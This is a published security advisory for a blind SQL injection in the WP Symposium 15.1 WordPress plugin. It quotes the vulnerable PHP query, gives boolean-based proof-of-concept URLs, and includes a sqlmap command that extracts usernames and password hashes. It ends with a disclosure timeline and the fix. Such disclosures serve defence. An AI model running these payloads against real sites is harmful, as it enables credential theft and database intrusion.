WordPress Plugin WP Symposium 15.1 - '&show=' SQL Injection

EDB-ID:

37080


Platform:

PHP

Published:

2015-05-21

=======================================================================

              title: SQL Injection
            product: WordPress WP Symposium Plugin
 vulnerable version: 15.1 (and probably below)
      fixed version: 15.4
         CVE number: CVE-2015-3325
             impact: CVSS Base Score 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
           homepage: https://wordpress.org/plugins/wp-symposium/
              found: 2015-02-07
                 by: Hannes Trunde
                     
               mail: hannes.trunde@gmail.com
            twitter: @hannestrunde

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Plugin description:
-------------------
"WP Symposium turns a WordPress website into a Social Network! It is a WordPress
plugin that provides a forum, activity (similar to Facebook wall), member 
directory, private mail, notification panel, chat windows, profile page, social 
widgets, activity alerts, RSS activity feeds, Groups, Events, Gallery, Facebook 
Connect and Mobile support! You simply choose which you want to activate! 
Certain features are optional to members to protect their privacy."

Source: https://wordpress.org/plugins/wp-symposium/


Recommendation:
---------------
The author has provided a fixed plugin version which should be installed 
immediately.


Vulnerability overview/description:
-----------------------------------
Because of insufficient input validation, a blind sql injection attack can be
performed within the forum feature to obtain sensitive information from the 
database. The vulnerable code sections are described below.

forum.php lines 59-62:
===============================================================================
if ( ( $topic_id == '' && $cat_id == '') || ( !$cat_id != '' && get_option(WPS_OPTIONS_PREFIX.'_forum_ajax') && !get_option(WPS_OPTIONS_PREFIX.'_permalink_structure') ) ) {
   $cat_id = isset($_GET['cid']) ? $_GET['cid'] : 0;
   $topic_id = isset($_GET['show']) ? $_GET['show'] : 0;  // GET PARAMETER IS ASSIGNED TO $topic_id VARIABLE
}
===============================================================================

forum.php lines 95-103:
===============================================================================
if ( get_option(WPS_OPTIONS_PREFIX.'_permalink_structure') || !get_option(WPS_OPTIONS_PREFIX.'_forum_ajax') ) {
   if ($topic_id == 0) {
      $forum = __wps__getForum($cat_id);
      if (($x = strpos($forum, '[|]')) !== FALSE) $forum = substr($forum, $x+3);
      $html .= $forum;
   } else {
      $html .= __wps__getTopic($topic_id);	// __wps__getTopic IS CALLED WITH $topic_id AS PARAMETER
   }
}
===============================================================================

functions.php lines 152-155:
===============================================================================
$post = $wpdb->get_row("
   SELECT tid, topic_subject, topic_approved, topic_category, topic_post, topic_started, display_name, topic_sticky, topic_owner, for_info 
   FROM ".$wpdb->prefix."symposium_topics t INNER JOIN ".$wpdb->base_prefix."users u ON t.topic_owner = u.ID 
   WHERE (t.topic_approved = 'on' OR t.topic_owner = ".$current_user->ID.") AND tid = ".$topic_id);   //UNVALIDATED $topic_id IS USED IN SQL QUERY
===============================================================================


Proof of concept:
-----------------
The following HTTP request to the forum page returns the topic with id 1:
===============================================================================
http://www.site.com/?page_id=4&cid=1&show=1 AND 1=1
===============================================================================

The following HTTP request to the forum page returns a blank page, thus 
confirming the blind SQL injection vulnerability:
===============================================================================
http://www.site.com/?page_id=4&cid=1&show=1 AND 1=0
===============================================================================

Obtaining users and password hashes with sqlmap may look as follows:
================================================================================
sqlmap -u "http://www.site.com/?page_id=4&cid=1&show=1" -p "show" --technique=B --dbms=mysql --sql-query="select user_login,user_pass from wp_users"
================================================================================


Contact timeline:
------------------------
2015-04-08: Contacting author via mail.
2015-04-13: Mail from author, confirming the vulnerability.
2015-04-14: Requesting CVE via post to the open source software security mailing 
            list: http://openwall.com/lists/oss-security/2015/04/14/5
2015-04-15: Mail from author, stating that updated plugin version will be 
            available in the next few days.
2015-05-05: Mail from author, stating that fixed version has been uploaded and
            should be available soon.
2015-05-07: Confirming that update is available, releasing security advisory
            

Solution:
---------
Update to the most recent plugin version.


Workaround:
-----------
See solution.